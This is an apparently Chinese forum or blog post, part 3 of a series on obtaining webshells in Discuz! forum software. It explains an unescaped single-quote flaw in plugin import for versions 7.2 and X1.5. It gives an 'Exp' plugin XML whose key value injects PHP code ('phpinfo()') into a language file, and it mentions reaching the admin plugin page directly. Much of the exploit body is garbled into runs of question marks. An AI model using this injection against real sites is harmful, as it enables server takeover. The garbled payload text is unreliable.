Discuz!各版本拿Webshell(3)

$scriptlang['shell'] = array( ‘a’ => ’1′, ‘b’ => ’2′, ); ?>

———————— 7.2版本没有过滤Key,所以直接用\\废掉单引号.X1.5,单引号转义后变为\\’,再被替换一次’,还是留下了\\而$v在两个版本中过滤相同,比较通 用.X1.5至少副站长才可以管理后台,虽然看不到插件选项,但是可以直接访问/admin.php?frames=yes& action=plugins添加插件 ————————–通用Exp: PHP代码

href=\a??>http://localhost/Discuz_7.2_SC_UTF8/upload/)]]>??
?????????????? ??
?????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????

????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????? ??
?????????????????????????????? ??
?????????????????????????????? ??
?????????????????????????????????????????????? ??
?????????????????????????????????????????????????????????????? ??
??????????????????????????????????????????????????????????????

28);?>a??>??
??????????%upload/)]]>

id=”identifier”>

id=”modules”>

id=”a\\”>1);phpinfo();?>]]>

————————————-x1.5 PHP代码

(http://localhost/Discuz_7.2_SC_UTF8/upload/)]]>

id=”identifier”>

id=”modules”>

id=”a’”>1);phpinfo();?>]]>

—–

如果你愿意,可以使用base64_encode(serialize($a))的方法试试7.2获取Webshell.